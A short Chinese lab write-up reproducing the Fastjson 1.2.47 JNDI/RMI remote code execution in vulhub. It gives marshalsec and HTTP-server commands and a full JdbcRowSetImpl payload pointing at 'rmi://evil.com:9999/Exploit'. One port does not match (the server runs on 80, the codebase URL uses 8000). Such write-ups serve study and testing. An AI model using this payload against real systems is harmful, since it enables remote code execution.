1.影响版本
1.2.48以下版本
2.环境搭建
用p牛的vulhub复现
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
3.使用JNDI配合RMI or LDAP二阶注入
marshalsec工具,用来开启RMI&LDAP
https://github.com/MagicZer0/fastjson-rce-exploit/blob/master/marshalsec-0.0.3-SNAPSHOT-all.jar
3.1用python搭建一个http服务
py -3 -m http.server 80

3.2编译恶意类
javac Exploit.java


3.3用marshalsec开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.64.1:8000/#Exploit 9999

payload
{
“a”:{
“@type”:”java.lang.Class”,
“val”:”com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:”com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:”rmi://evil.com:9999/Exploit”,
“autoCommit”:true
}
}
3.4 发送payload攻击

rmi收到请求

http服务收到请求

命令touch /tmp/success已成功执行了。
4.坑点
rmi和ldap的利用方式对jdk版本有限制
